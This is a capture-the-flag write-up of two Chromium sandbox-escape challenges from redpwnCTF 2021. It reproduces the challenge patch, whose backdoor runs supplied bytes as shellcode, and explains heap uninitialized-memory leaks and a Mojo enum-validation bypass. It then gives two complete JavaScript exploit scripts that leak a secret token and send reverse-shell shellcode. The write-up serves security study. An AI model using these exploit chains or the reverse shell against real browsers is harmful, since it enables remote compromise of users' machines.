redpwnCTF 2021 - Empires and Deserts Writeup

pwn browser

This weekend, I participated in RedpwnCTF with my team Starrust Crusaders under the alias "The Static Lifetime Society", coming in second place in the Open Division. Since this was my first time doing a Chromium SBX challenge, I thought it would be a good idea to make a writeup. I'm still relatively unfamiliar with Mojo concepts and sbx escape, so feel free to point out any mistakes I make.

Here are some relevant resources I used to help me understand Chromium's architecture and sandbox escape techniques. I would recommend giving them a read before continuing.

Intro to Mojo

NotDeGhost's Intro Post about SBX

Chromium Architectural Overview

Github Repo of Previous Real World SBX Escapes

PlaidCTF Mojo Writeup

Google Quals 2019 Monochromatic Writeup

Empires - 9 solves

We were given a Chromium binary, mojojs bindings, and a source patch. The only difference between the two parts is that part one is run with the CTF_CHALLENGE_EASY_MODE environment variable set. Chromium is also run with MojoJS bindings enabled. Usually in fullchain exploits, one would have to compromise the renderer first, overwrite the blink::RuntimeEnabledFeatures::is_mojo_js_enabled_ variable, refresh the page, and then attempt to escape the sandbox. Since we already have bindings enabled, we won't have to worry about any of that. Here's the provided patch:

diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn
index b0596f197713..0602344bb282 100644
--- a/content/browser/BUILD.gn
+++ b/content/browser/BUILD.gn
@@ -1241,6 +1241,10 @@ source_set("browser") {
     "notifications/platform_notification_context_impl.h",
     "notifications/platform_notification_service_proxy.cc",
     "notifications/platform_notification_service_proxy.h",
+    "ozymandias_impl.cc",
+    "ozymandias_impl.h",
+    "ozymandias_mojom_traits.cc",
+    "ozymandias_mojom_traits.h",
     "payments/installed_payment_apps_finder_impl.cc",
     "payments/installed_payment_apps_finder_impl.h",
     "payments/payment_app_context_impl.cc",
diff --git a/content/browser/browser_interface_binders.cc b/content/browser/browser_interface_binders.cc
index c1666431a003..a8e6ab9a804b 100644
--- a/content/browser/browser_interface_binders.cc
+++ b/content/browser/browser_interface_binders.cc
@@ -130,6 +130,7 @@
 #include "third_party/blink/public/mojom/mediastream/media_stream.mojom.h"
 #include "third_party/blink/public/mojom/native_io/native_io.mojom.h"
 #include "third_party/blink/public/mojom/notifications/notification_service.mojom.h"
+#include "third_party/blink/public/mojom/desert.mojom.h"
 #include "third_party/blink/public/mojom/payments/payment_app.mojom.h"
 #include "third_party/blink/public/mojom/payments/payment_credential.mojom.h"
 #include "third_party/blink/public/mojom/peerconnection/peer_connection_tracker.mojom.h"
@@ -558,6 +559,9 @@ void PopulateFrameBinders(RenderFrameHostImpl* host, mojo::BinderMap* map) {
         &RenderFrameHostImpl::CreateAppCacheBackend, base::Unretained(host)));
   }
 
+  map->Add<blink::mojom::Ozymandias>(base::BindRepeating(
+      &RenderFrameHostImpl::CreateTheKingOfKings, base::Unretained(host)));
+
   map->Add<blink::mojom::AudioContextManager>(base::BindRepeating(
       &RenderFrameHostImpl::GetAudioContextManager, base::Unretained(host)));
 
diff --git a/content/browser/ozymandias_impl.cc b/content/browser/ozymandias_impl.cc
new file mode 100644
index 000000000000..c2080ec390fc
--- /dev/null
+++ b/content/browser/ozymandias_impl.cc
@@ -0,0 +1,69 @@
+#include "content/browser/ozymandias_impl.h"
+
+#include <sys/mman.h>
+
+namespace content {
+
+const size_t SHELLCODE_LENGTH = 0x1000;
+
+static base::UnguessableToken GetSecret() {
+  static base::UnguessableToken token = base::UnguessableToken::Create();
+
+  return token;
+}
+
+OzymandiasImpl::OzymandiasImpl() : token_{GetSecret()} {}
+
+OzymandiasImpl::~OzymandiasImpl() {
+  if(shellcode_mapping_) munmap(shellcode_mapping_, SHELLCODE_LENGTH);
+}
+
+void OzymandiasImpl::Visage(const std::vector<uint8_t>& command, const base::UnguessableToken& secret) {
+  if (command.size() > SHELLCODE_LENGTH) return;
+
+  if (secret == token_) {
+    if (!shellcode_mapping_) {
+      shellcode_mapping_ = mmap(NULL, SHELLCODE_LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+    }
+
+    memcpy(shellcode_mapping_, command.data(), command.size());
+
+    auto win_fn = (void(*)()) shellcode_mapping_;
+    win_fn();
+  }
+}
+
+void OzymandiasImpl::Despair(std::vector<mojo::StructPtr<blink::mojom::Wreck>> wrecks, DespairCallback callback) {
+  std::vector<mojo_base::BigBuffer> decay;
+  for (const mojo::StructPtr<blink::mojom::Wreck>& ptr: wrecks) {
+    std::unique_ptr<uint8_t[]> data{new uint8_t[ptr->size]};
+    
+    // inspired by crbug.com/1151865
+    if (getenv("CTF_CHALLENGE_EASY_MODE") == nullptr) {
+      if (ptr->size < ptr->length_to_use) continue;
+    }
+
+    switch (ptr->type) {
+      case blink::mojom::DesertType::DESOLATE:
+        // TODO(notdeghost): fix uninitialized data read
+        memset(data.get(), data.get()[0], ptr->size);
+
+        if (ptr->data) {
+          if (ptr->data->size() >= ptr->size) {
+            memcpy(data.get(), ptr->data->data(), ptr->size);
+          }
+        }
+        break;
+      case blink::mojom::DesertType::EMPTY:
+        memset(data.get(), 0, ptr->size);
+        break;
+    }
+
+    mojo_base::BigBuffer buffer(base::span<uint8_t>(data.get(), data.get() + ptr->length_to_use));
+    decay.push_back(std::move(buffer));
+  }
+
+  std::move(callback).Run(std::move(decay));
+}
+
+}
diff --git a/content/browser/ozymandias_impl.h b/content/browser/ozymandias_impl.h
new file mode 100644
index 000000000000..ce1b6d888657
--- /dev/null
+++ b/content/browser/ozymandias_impl.h
@@ -0,0 +1,25 @@
+#ifndef CONTENT_BROWSER_OZYMANDIAS_IMPL_H_
+#define CONTENT_BROWSER_OZYMANDIAS_IMPL_H_
+
+#include "third_party/blink/public/mojom/desert.mojom.h"
+#include "base/unguessable_token.h"
+
+namespace content {
+
+// TODO(notdeghost): figure out why this needs 0x100 alignment
+class alignas(0x100) OzymandiasImpl : public blink::mojom::Ozymandias {
+ public:
+  OzymandiasImpl();
+  ~OzymandiasImpl() override;
+
+  // blink::mojom::Ozymandias
+  void Visage(const std::vector<uint8_t>& command, const base::UnguessableToken& secret) override;
+  void Despair(std::vector<mojo::StructPtr<blink::mojom::Wreck>> sand, DespairCallback callback) override;
+ private:
+  void* shellcode_mapping_ = nullptr;
+  base::UnguessableToken token_;
+};
+
+}
+
+#endif
diff --git a/content/browser/ozymandias_mojom_traits.cc b/content/browser/ozymandias_mojom_traits.cc
new file mode 100644
index 000000000000..90d7b271c972
--- /dev/null
+++ b/content/browser/ozymandias_mojom_traits.cc
@@ -0,0 +1,18 @@
+#include "content/browser/ozymandias_mojom_traits.h"
+
+#include <iostream>
+
+namespace mojo {
+
+bool StructTraits<blink::mojom::SandDataView, std::vector<mojo::StructPtr<blink::mojom::Wreck>>>::Read(
+    blink::mojom::SandDataView data,
+    std::vector<mojo::StructPtr<blink::mojom::Wreck>>* out) {
+  if (!data.ReadWrecks(out)) {
+    NOTREACHED();
+  }
+
+  return true;
+}
+
+
+}
diff --git a/content/browser/ozymandias_mojom_traits.h b/content/browser/ozymandias_mojom_traits.h
new file mode 100644
index 000000000000..1b8477927416
--- /dev/null
+++ b/content/browser/ozymandias_mojom_traits.h
@@ -0,0 +1,20 @@
+#ifndef CONTENT_BROWSER_OZYMANDIAS_MOJOM_TRAITS_H_
+#define CONTENT_BROWSER_OZYMANDIAS_MOJOM_TRAITS_H_
+
+#include "third_party/blink/public/mojom/desert.mojom.h"
+
+namespace mojo {
+
+template <>
+struct StructTraits<blink::mojom::SandDataView, std::vector<mojo::StructPtr<blink::mojom::Wreck>>> {
+  // this type is never serialized
+  static std::vector<blink::mojom::WreckPtr> wrecks(const std::vector<mojo::StructPtr<blink::mojom::Wreck>>& r) {
+    return std::vector<blink::mojom::WreckPtr>();
+  }
+
+  static bool Read(blink::mojom::SandDataView data, std::vector<mojo::StructPtr<blink::mojom::Wreck>>* out); 
+};
+
+}
+
+#endif
diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
index f050e8863b24..0aa75b374c6e 100644
--- a/content/browser/renderer_host/render_frame_host_impl.cc
+++ b/content/browser/renderer_host/render_frame_host_impl.cc
@@ -85,6 +85,7 @@
 #include "content/browser/navigation_subresource_loader_params.h"
 #include "content/browser/net/cross_origin_embedder_policy_reporter.h"
 #include "content/browser/net/cross_origin_opener_policy_reporter.h"
+#include "content/browser/ozymandias_impl.h"
 #include "content/browser/payments/payment_app_context_impl.h"
 #include "content/browser/permissions/permission_controller_impl.h"
 #include "content/browser/permissions/permission_service_context.h"
@@ -8511,6 +8512,14 @@ void RenderFrameHostImpl::RequestAXTreeSnapshotCallback(
   std::move(callback).Run(dst_snapshot);
 }
 
+void RenderFrameHostImpl::CreateTheKingOfKings(
+    mojo::PendingReceiver<blink::mojom::Ozymandias> receiver) {
+  mojo::MakeSelfOwnedReceiver(
+    std::make_unique<OzymandiasImpl>(),
+    std::move(receiver)
+  );
+}
+
 void RenderFrameHostImpl::CreatePaymentManager(
     mojo::PendingReceiver<payments::mojom::PaymentManager> receiver) {
   if (!IsFeatureEnabled(blink::mojom::PermissionsPolicyFeature::kPayment)) {
diff --git a/content/browser/renderer_host/render_frame_host_impl.h b/content/browser/renderer_host/render_frame_host_impl.h
index f8ec7b5417ff..f7a9870148e5 100644
--- a/content/browser/renderer_host/render_frame_host_impl.h
+++ b/content/browser/renderer_host/render_frame_host_impl.h
@@ -93,6 +93,7 @@
 #include "third_party/blink/public/mojom/bluetooth/web_bluetooth.mojom-forward.h"
 #include "third_party/blink/public/mojom/compute_pressure/compute_pressure.mojom-forward.h"
 #include "third_party/blink/public/mojom/contacts/contacts_manager.mojom-forward.h"
+#include "third_party/blink/public/mojom/desert.mojom-forward.h"
 #include "third_party/blink/public/mojom/feature_observer/feature_observer.mojom-forward.h"
 #include "third_party/blink/public/mojom/file_system_access/file_system_access_manager.mojom-forward.h"
 #include "third_party/blink/public/mojom/font_access/font_access.mojom-forward.h"
@@ -1519,6 +1520,9 @@ class CONTENT_EXPORT RenderFrameHostImpl
   void CreatePermissionService(
       mojo::PendingReceiver<blink::mojom::PermissionService> receiver);
 
+  void CreateTheKingOfKings(
+      mojo::PendingReceiver<blink::mojom::Ozymandias> receiver);
+
   void CreatePaymentManager(
       mojo::PendingReceiver<payments::mojom::PaymentManager> receiver);
 
diff --git a/third_party/blink/public/mojom/BUILD.gn b/third_party/blink/public/mojom/BUILD.gn
index 2f3a38e5c577..41f8a5eb9530 100644
--- a/third_party/blink/public/mojom/BUILD.gn
+++ b/third_party/blink/public/mojom/BUILD.gn
@@ -52,6 +52,7 @@ mojom("mojom_platform") {
     "css/preferred_color_scheme.mojom",
     "css/preferred_contrast.mojom",
     "data_transfer/data_transfer.mojom",
+    "desert.mojom",
     "device/device.mojom",
     "device_posture/device_posture.mojom",
     "devtools/console_message.mojom",
@@ -649,6 +650,18 @@ mojom("mojom_platform") {
       traits_sources =
           [ "//third_party/blink/common/user_agent/user_agent_mojom_traits.cc" ]
     },
+    {
+      types = [
+        {
+          mojom = "blink.mojom.Sand"
+          cpp = "::std::vector<::mojo::StructPtr<::blink::mojom::Wreck>> "
+          move_only = true
+        }
+      ]
+      traits_headers = [ 
+        "//content/browser/ozymandias_mojom_traits.h"
+      ]
+    }
   ]
   blink_cpp_typemaps = [
     {
diff --git a/third_party/blink/public/mojom/desert.mojom b/third_party/blink/public/mojom/desert.mojom
new file mode 100644
index 000000000000..fe449f7ac904
--- /dev/null
+++ b/third_party/blink/public/mojom/desert.mojom
@@ -0,0 +1,40 @@
+// https://theanarchistlibrary.org/library/anonymous-desert
+
+module blink.mojom;
+
+import "mojo/public/mojom/base/big_buffer.mojom";
+import "mojo/public/mojom/base/unguessable_token.mojom";
+
+// Desert (noun)
+enum DesertType {
+  // 1. A barren or desolate area
+  DESOLATE = 0x1337,
+  // 2. An empty or forsaken place
+  EMPTY = 0x7331
+};
+
+
+// — Ozymandias, Percy Bysshe Shelley, 1817
+interface Ozymandias {
+  // Half sunk, a shattered visage lies, whose frown,
+  // And wrinkled lip, and sneer of cold command,
+  Visage(array<uint8> command, mojo_base.mojom.UnguessableToken secret);
+
+  // Look on my works, ye Mighty, and despair!’
+  // Nothing beside remains. Round the decay
+  Despair(Sand sand) => (array<mojo_base.mojom.BigBuffer> decay);
+};
+
+// Of that colossal wreck, boundless and bare
+struct Wreck {
+  uint32 size;
+  uint32 length_to_use;
+  mojo_base.mojom.BigBuffer? data;
+
+  DesertType type;
+};
+
+// The lone and level sands stretch far away.
+struct Sand {
+  array<Wreck> wrecks;
+};

The Wreck struct holds a size, a length_to_use, an optional BigBuffer, and a DesertType enum with variants DESOLATE and EMPTY. Sand is an array of wrecks. The most important struct is Ozymandias, which has the methods Visage and Despair, a pointer reserved for a mmap page and an UnguessableToken. UnguessableTokens are cryptographically secure 128 bit random values. Note the author commented that the struct is 0x100 bytes, which can be verified as well when it hits in the new operator in that function (find the mangled name, and attach to the main privileged browser process to break).

The CreateKingofKings functions allows us to have the renderer request an interface from the browser process for the Ozymandias objects. Despair loops over the wrecks in a sand argument, allocating a new uint8_t array with a size determined by the wreck's size field. It memsets it as 0 for both DesertTypes (although the first option doesn't seem so from source, I believe the compiler optimized the argument to 0 as you can see in disassembly). For the DESOLATE option, if your BigBuffer has data and a size greater than or equal to the wreck's size field, it transfers the contents contents to the uint8_t array up to the array's size. Then, it creates a base::span (which is like std::span) based on the allocated uint8_t array's start and your current wreck's length_to_use field. Visage is a backdoor; it requires a uint8_t vector and a UnguessableToken. If your token matches the current Ozymandias's UnguessableToken, the vector will be copied to a mmap'd rwx page and run as shellcode. One last thing to note is that when disassembling the constructor, you can see the UnguessableToken is a static variable. While randomized in different browser instances, it will remain the same within the same browser usage session.

Since the CTF_CHALLENGE_EASY_MODE env variable is set, we have a trivial heap OOB read because the length_to_use can now be bigger than size and the BigBuffer constructed from the span later will use length_to_use to bound the span. Moreover, the part that is unbounded by the size but bounded by the length_to_use will remain uninitialized. As the author mentioned, this concept is based on this real life sbx escape bug.

Based on these facts, the exploit plan is pretty simple. I don't know much about PartitionAlloc behavior, but it's pretty easy to see from a few leaks of uninitialized memory that chunks of similar sizes get returned in the same regions. This means that we can just spray some Ozymandias objects, and then also spray some chunks that allow for OOB uninitiailized read, and leak the token so we can abuse the backdoor.

Now, it should be pretty easy to just send in a reverse shell shellcode and escape the sandbox. However, one issue does remain, in that the mojojs bindings for UnguessableToken requires JS numbers, which won't preserve the accuracy for many possible token values. This is a simple patch. I performed the following change in the bindings to encode them as doubles:

  UnguessableToken.encode = function(encoder, val) {
    var packed;
    encoder.writeUint32(UnguessableToken.encodedSize);
    encoder.writeUint32(0);
    encoder.encodeStruct(codec.Double, val.high);
    encoder.encodeStruct(codec.Double, val.low);
  };

Then, this was my final exploit (I just used a x86_64 linux rev shell shellcode from shellstorm):

(async () => {
    conversion_buf = new ArrayBuffer(8);
    converter = new Uint8Array(conversion_buf);
    f64_buf = new Float64Array(conversion_buf);
    u64_buf = new Uint32Array(conversion_buf);
    function convertToHex(val)
    {
        return '0x' + val.toString(16);
    }
    function hexdump(arr)
    {
        var qwords = []
        for (var i = 0; i < arr.length; i += 8)
        {
            for (var j = 0; j < 8; j++)
            {
                converter[j] = arr[i + j];
            }
            temp = BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
            qwords.push(convertToHex(temp));
        }
        return qwords
    }
    function itof(val) 
    {
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
    }
    wreck = new blink.mojom.Wreck();
    ozy = new Array(0x10);
    dumps = new Array(ozy.length);
    wreck.size = 0x100;
    evil_size = (wreck.size + 0x100) * 8
    wreck.lengthToUse = evil_size;
    wreck.data = new mojoBase.mojom.BigBuffer();
    wreck.data.bytes = [];
    wreck.type = blink.mojom.DesertType.EMPTY;
    sand = new blink.mojom.Sand();
    sand.wrecks = [wreck];
    for (var i = 0; i < ozy.length - 1; i++)
    {
        ozy[i] = new blink.mojom.OzymandiasPtr();
        Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(ozy[i]).handle);
        result = await ozy[i].despair(sand);
        result = result.decay[0].$data;
        dumps[i] = hexdump(result);
    }
    found = 0;
    low = 0;
    high = 0;
    target_idx = 0;
    for (var i = 0; i < ozy.length - 1; i++)
    {
        for (var j = 0; j < evil_size / 8 - 1; j++)
        {
            if (dumps[i][j].substring(dumps[i][j].length - 3, dumps[i][j].length) === "c50" && dumps[i][j+1] === "0x0")
            {
                console.log("FOUND");
                console.log(dumps[i][j]);
                console.log(dumps[i][j+1]);
                console.log(dumps[i][j+2]);
                console.log(dumps[i][j+3]);
                high = BigInt(dumps[i][j+2]);
                low = BigInt(dumps[i][j+3]);
                found = 1;
                target_idx = i + 1;
                break;
            }
            if (found === 1)
            {
                break;
            }
        }
    }
    console.log("UnGuessable Tokens");
    console.log(low);
    console.log(high);
    token = new mojoBase.mojom.UnguessableToken();
    // mojojs binding is bugged, need float for accurate representation, need to patch mojo (use codec.Double for unguessable_token.mojom.js)
    token.low = itof(low);
    token.high = itof(high);
    evil = new ArrayBuffer(0x200);
    sc = new Uint8Array(evil);
    fetch("/logs?readytowritesc")
    rev_shell = [0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x6a, 0x6, 0x5a, 0x6a, 0x29, 0x58, 0xf, 0x5, 0x49, 0x89, 0xc0, 0x48, 0x31, 0xf6, 0x4d, 0x31, 0xd2, 0x41, 0x52, 0xc6, 0x4, 0x24, 0x2, 0x66, 0xc7, 0x44, 0x24, 0x2, 0x5, 0x39, 0xc7, 0x44, 0x24, 0x4, 0xa, 0x0, 0x2, 0x8, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x41, 0x50, 0x5f, 0x6a, 0x2a, 0x58, 0xf, 0x5, 0x48, 0x31, 0xf6, 0x6a, 0x3, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0xf, 0x5, 0x75, 0xf6, 0x48, 0x31, 0xff, 0x57, 0x57, 0x5e, 0x5a, 0x48, 0xbf, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x8, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90];
    for (var i = 0; i < rev_shell.length; i++)
    {
        sc[i] = rev_shell[i];
    }
    ozy = new blink.mojom.OzymandiasPtr();
    Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(ozy).handle);
    fetch("/log?abouttotriggersc")
    ozy.visage(sc, token);
})();

As for the html website to send to the browser bot, I used the following (which was based off of NotDeGhost's post):

<script src="/mojojs/mojo_bindings.js"></script>
<script src="/mojojs/gen/third_party/blink/public/mojom/desert.mojom.js"></script>
<script src="./exploit.js"></script>

Deserts - 4 solves

Now, the env variable is disabled. So what could possibly allow us to leak UnguessableTokens then? I have to admit that this step took an embarrasingly long time.

I first spent several hours reading up on this post about common Chromium IPC vulns and tried to compare them to the diff. Nothing was found this way.

Another idea teammates hypothesized was that maybe there is a TOCTOU race condition between when it checks for size and length_to_use and when length_to_use is used. However, data is serialized when passed to privileged browser process, so us trying to race in renderer is useless and will not apply changes there (and the window is too small since we need to abuse sizes of approximately 0x100).

Lastly, what really caught my attention is that if you have it not hit any of the cases in the switch statement, you will still get an uninitialized read. To do that, you need a new enum value, and unfortunately, Mojo validates all enums (unless the keyword extensible is used) along with several other validation checks. I thought this was an interesting scenario as we can change how we send things from the mojojs bindings and wanted to see if validation can be bypassed somehow. As I was messing around with wreck types, I noticed that I suddenly achieved a leak when I set my BigBuffer tag to 2, which stands for invalid storage. Debugging the codeflow, I noticed that the contents of the DesertType enum became 0 there somehow (if you set it to zero normally from renderer before serializing and sending, a validation error will occur and your renderer process will be killed). I wasn't too sure why, but according to NotDeGhost after my solve, it is because this enum causes deserialization to fail, so the rest of the struct will not be populated (hence leaving DesertType to 0). The NOTREACHED() in the diff is not compiled into release builds, allowing for us to trigger this bug and get uninitialized read when it works with wreck structs.

This time, however, we can't just spray some allocations and have an OOB leak data outside the chunk. We will need to free some OzymandiasImpl objects, which can be done pretty easily with .ptr.reset() as it is an interface implementation. Here is the final exploit:

(async () => {
    conversion_buf = new ArrayBuffer(8);
    converter = new Uint8Array(conversion_buf);
    f64_buf = new Float64Array(conversion_buf);
    u64_buf = new Uint32Array(conversion_buf);
    function convertToHex(val)
    {
        return '0x' + val.toString(16);
    }
    function hexdump(arr)
    {
        var qwords = []
        for (var i = 0; i < arr.length; i += 8)
        {
            for (var j = 0; j < 8; j++)
            {
                converter[j] = arr[i + j];
            }
            temp = BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
            qwords.push(convertToHex(temp));
        }
        return qwords
    }
    function itof(val) 
    {
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
    }
    wreck = new blink.mojom.Wreck();
    wreck.size = 0x100;
    wreck.lengthToUse = wreck.size;
    wreck.data = new mojoBase.mojom.BigBuffer();
    wreck.data.bytes = [];
    wreck.data.$tag = 2;
    wreck.type = blink.mojom.DesertType.DESOLATE;
    sand = new blink.mojom.Sand();
    sand.wrecks = [wreck];
    

    ozy = new blink.mojom.OzymandiasPtr();
    Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(ozy).handle);

    spray = 0x10;

    tmp_ozy = new Array(spray);
    for (var i = 0; i < tmp_ozy.length; i++)
    {
        tmp_ozy[i] = new blink.mojom.OzymandiasPtr();
        Mojo.bindInterface(blink.mojom.Ozymandias.name, mojo.makeRequest(tmp_ozy[i]).handle);
    }

    dumps = new Array(spray);

    fetch("log?spraying_and_allocating_unintiialized")

    for (var i = 0; i < dumps.length; i++)
    {
        tmp_ozy[i].ptr.reset();
        pepega = await ozy.despair(sand);
        dumps[i] = hexdump(pepega.decay[0].$data);
    }



    possible_low = new Array(spray);
    possible_high = new Array(spray);

    fetch("log?recording_possible_tokens")

    for (var i = 0; i < spray; i++)
    {
        possible_low[i] = itof(BigInt(dumps[i][3]))
        possible_high[i] = itof(BigInt(dumps[i][2]))
    }

    sc = new Uint8Array(new ArrayBuffer(0x500));
    rev_shell = [0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x6a, 0x6, 0x5a, 0x6a, 0x29, 0x58, 0xf, 0x5, 0x49, 0x89, 0xc0, 0x48, 0x31, 0xf6, 0x4d, 0x31, 0xd2, 0x41, 0x52, 0xc6, 0x4, 0x24, 0x2, 0x66, 0xc7, 0x44, 0x24, 0x2, 0x5, 0x39, 0xc7, 0x44, 0x24, 0x4, 0xa, 0x0, 0x2, 0x8, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x41, 0x50, 0x5f, 0x6a, 0x2a, 0x58, 0xf, 0x5, 0x48, 0x31, 0xf6, 0x6a, 0x3, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0xf, 0x5, 0x75, 0xf6, 0x48, 0x31, 0xff, 0x57, 0x57, 0x5e, 0x5a, 0x48, 0xbf, 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x8, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90];
    for (var i = 0; i < sc.length; i++)
    {
        sc[i] = rev_shell[i];
    }

    token = new mojoBase.mojom.UnguessableToken();

    fetch("log?preparing_to_trigger_backdoor")
    for (var i = 0; i < spray; i++)
    {
        token.low = possible_low[i];
        token.high = possible_high[i];
        ozy.visage(sc, token);
    }

})();

Overall, I thought these were amazing challenges and finally pushed me to mess around a bit with Chromium sandbox escapes. Though introductory challenges into this complex topic, many of the concepts and basic techniques can probably be re-applied on more difficult sandbox escape challenges.

Here is the author's writeup! Make sure to check it out.